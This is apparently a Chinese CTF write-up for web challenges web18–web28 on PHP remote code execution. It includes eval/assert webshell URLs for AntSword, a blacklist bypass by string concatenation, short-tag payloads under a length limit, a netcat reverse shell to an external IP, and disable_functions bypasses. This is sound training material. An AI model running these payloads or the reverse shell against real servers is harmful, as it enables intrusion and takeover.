web18-28
web18
开启环境
可以用蚁剑连接到服务器,连接密码即为上述中post的1
成功进入到后台
在根目录下可以找到flag
flag{0dd2b622-aaa4-42d8-a34b-e6dc6e980d7c}
web19
与上题很相似,是用GET代码
我们只需要一个转接头即可让蚁剑post连接到服务器(转接头应用广泛)
http://5326840f-fe54-4884-adc4-bb23e0763d07.challenges.ctfer.com:8080/?1=eval($_POST[1]);
/?1=eval($_POST[1]);
可以让php源代码中添加post值
进入后台
同样在根目录找到了flag
flag{c75219f3-bdd1-47d4-82e7-a64b0d8648b9}
web20
开启环境后,是一个函数的调用call_user_func
是 PHP 中的一个函数,它允许调用回调函数。这个函数接受两个参数:第一个参数是一个回调类型,它可以是一个包含函数名的字符串,或者是一个包含对象引用和方法名的数组;第二个参数是一个参数数组,它将传递给回调函数。注意这里用不了eval,因为它不算函数,只是一个语言构造。
call_user_func($_GET[1], $_POST[2]);
中,call_user_func
被用来调用一个通过 $_GET
和 $_POST
超全局数组索引指定的函数。
- $_GET[1]: 这表示从 GET 请求中获取第二个参数(索引从0开始,所以1表示第二个)。这应该是一个字符串,表示要调用的函数名。
- $_POST[2]: 这表示从 POST 请求中获取第三个参数。这应该是一个数组,包含要传递给函数的参数。
如此可以利用system的危险函数,在根目录下找到flag
找到flag
flag{3e48e92d-7db6-4c35-a4a5-6a599ad63fbc}
web21
开启环境后
array_walk_recursive是一个PHP函数,它对数组中的每个元素应用一个用户定义的函数,递归地对数组中的所有元素进行操作,包括多维数组。
对于array_walk_recursive($_GET[1], $_POST[1]);
这行代码,它的意思是:
- $_GET[1]:这尝试从$_GET数组中获取索引为1的值,这个值应该是一个数组。
- $_POST[1]:这尝试从$_POST数组中获取索引为1的值,这个值应该是一个回调函数。
- array_walk_recursive:对$_GET[1]数组中的每个元素递归地应用$_POST[1]回调函数。
于是如下图所示构造,可以得到数据,get
一定要数组,所以要1[]=ls
在根目录下找到flagaaa,cat得到flag
flag{3fc82b7f-97dd-4574-91b0-5e1ed470f52c}
web22
开启环境,是代码过滤黑名单
下述被过滤
system|func|array|preg|eval|exec|passthru
:一个正则表达式,列出了多个需要检查的单词,用竖线|分隔,表示“或”的关系,即匹配列表中的任何一个单词。- /i:修饰符,表示不区分大小写。
我们尝试拼接法
/?1=$a='sys';$b='tem';$c=$a.$b;$c($_POST[1]);
在php中用点.
来连接
找到了flag
flag{d99ec5ff-cd76-4220-a111-d24b043c25e1}
web23
开启环境,这次应该是?
和;
都被过滤了,同时下述的?>
会使得我们引入的变量会被以文本情况输出,例如下图
所以我们必须告诉服务器我们这是代码,之前都会用到
<?php
……
?>
但是?
被狠心地过滤了,我们必须换一个开启结束符号,在文档中找到了从HTML分离出来的方法
找到了不包含?
的记号
测试可以使用
这边刚好是有分号功能的
一段PHP代码中的结束标记隐含表示了一个分号
继续查看根目录
成功拿到flag
flag{c4afb90d-b6c9-4817-8e3e-7bafd44f6555}
web24
打开环境发现,此处题目竟然过滤了长度,在13个字符下面实现RCE,而且要解决输出本身为文本的问题
/?1=<?php eval($_GET[2]);?>
明显超出长度
<?php `$_GET[2]`;?>
用反引号替换eval直接进行命令执行(还有19个字符)
<?= `$_GET[2]`;?>
替换为短标签,省去php
<?=`$_GET[2]`
去除分号,结束标记(14个)
<?`$_GET[2]`
关闭回显达到极限
<?`$_GET[2]`;&2=ls > 1.txt
需要写入1.txt,因为我们关闭了回显
但是发现没写进去。应该是缺乏权限
可以通过
<? `$_GET[2]`;&2=sleep 3
来确定代码已经执行,页面刷新3秒后显示,说明验证成功
反弹shell来做到,首先在我们的服务器47.120.30.250开启一个nc端口
之后构造,使得shell反弹到我们自己的外网服务器上
<?`$_GET[2]`;&2=nc 47.120.30.250 12222 -e /bin/sh
网站卡住说明反弹成功,拿到使用权
拿到flag
flag{667f98cc-1f43-4e67-8ce8-4bf59fbced78}
web25
开启环境后,发现限制了很多函数
尝试调用危险函数,发现没有效果
用蚁剑测试转接头
- http://73f96b92-a840-45a6-b607-9174e34d6537.challenges.ctfer.com:8080/?1=assert($_POST[1]);
- http://73f96b92-a840-45a6-b607-9174e34d6537.challenges.ctfer.com:8080/?1=eval($_POST[1]);
都连接不上,
1=assert($_POST[1]);
换成base64解码 rot13编码器
进入了后台,拿到flag
在虚拟终端中提取到flag
flag{1ca8bc7d-b521-48da-aadd-beceed6133b3}
web26
开启环境后,发现与上题非常相近
同样使用蚁剑
http://160cba1d-96b4-4eb7-8abc-ddf3bf7edb64.challenges.ctfer.com:8080/?1=assert($_POST[1]);
发现连接成功,进入后台
但是发现终端无法完全输出
只能运用插件绕过disable的函数
选择第一种模式,发现行不通
再传一次,发现代理脚本成功
上传了一个代理脚本
通过这个代理提权界面再次进入
http://160cba1d-96b4-4eb7-8abc-ddf3bf7edb64.challenges.ctfer.com:8080/.antproxy.php?1=assert($_POST[1]);
连接成功
运用虚拟终端得到提权后的界面
但是又发现直接拿flag会权限受限
后来发现tac是可以使用的
找到flag
flag{2f1ee97e-5b85-4110-9cee-836cd0e8e34f}
web27
开启环境后,发现与前几题非常相似
应该都是后台的不同,同理先进行转接头的操作
http://1714cafb-79d3-4295-b19c-f255cffa011e.challenges.ctfer.com:8080/?1=assert($_POST[1]);
连接成功,同样虚拟终端无法操作,因此我们进行提权,这里使用插件的第三种模式
成功提权
找到flag
flag{9f9dfd31-425c-4115-b575-a75be0b8756f}
web28
开启环境后,
发现环境还是很像
http://cbaf74a1-98ec-444d-a7f2-95b105d80e76.challenges.ctfer.com:8080/?1=assert($_POST[1]);
同样转接头连接,同样的权限受限
选择第二个提权方式,发现不行,选择UAF模式,还是不行,选择到另一个可行的提权
得到flag
flag{3b6d4eac-3a41-4089-aaa8-0200fb0bc2cb}